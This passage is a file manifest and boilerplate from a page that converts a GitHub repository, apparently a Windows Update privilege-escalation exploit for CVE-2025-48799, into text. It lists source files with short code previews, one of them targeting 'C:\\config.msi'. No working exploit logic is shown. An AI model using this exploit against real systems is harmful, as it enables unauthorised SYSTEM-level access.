    "path": "WinUpdateEoP/WinUpdateEoP.vcxproj.user",
    "chars": 166,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/m"
  },
  {
    "path": "WinUpdateEoP/def.h",
    "chars": 4291,
    "preview": "#include <windows.h>\r\n#include <winternl.h>\r\n#include <iostream>\r\n#include <stdio.h>\r\n#include <Msi.h>\r\n#include <PathCc"
  },
  {
    "path": "WinUpdateEoP/main.cpp",
    "chars": 10412,
    "preview": "#include \"def.h\"\r\n\r\nint wmain(int argc, wchar_t** argv)\r\n{\r\n    load();\r\n    wchar_t target[] = L\"\\\\C:\\\\config.msi\";\r\n  "
  },
  {
    "path": "WinUpdateEoP/resource.h",
    "chars": 300,
    "preview": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by FolderOrFileDeleteToSystem.rc\r\n//\r\n#d"
  },
  {
    "path": "WinUpdateEoP/resource.rc",
    "chars": 2189,
    "preview": "// Microsoft Visual C++ generated resource script.\r\n//\r\n#include \"resource.h\"\r\n\r\n#define APSTUDIO_READONLY_SYMBOLS\r\n////"
  }
]

// ... and 3 more files (download for full content)

About this extraction

This page contains the full source code of the Wh04m1001/CVE-2025-48799 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (48.7 KB), approximately 13.6k tokens, and a symbol index with 49 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!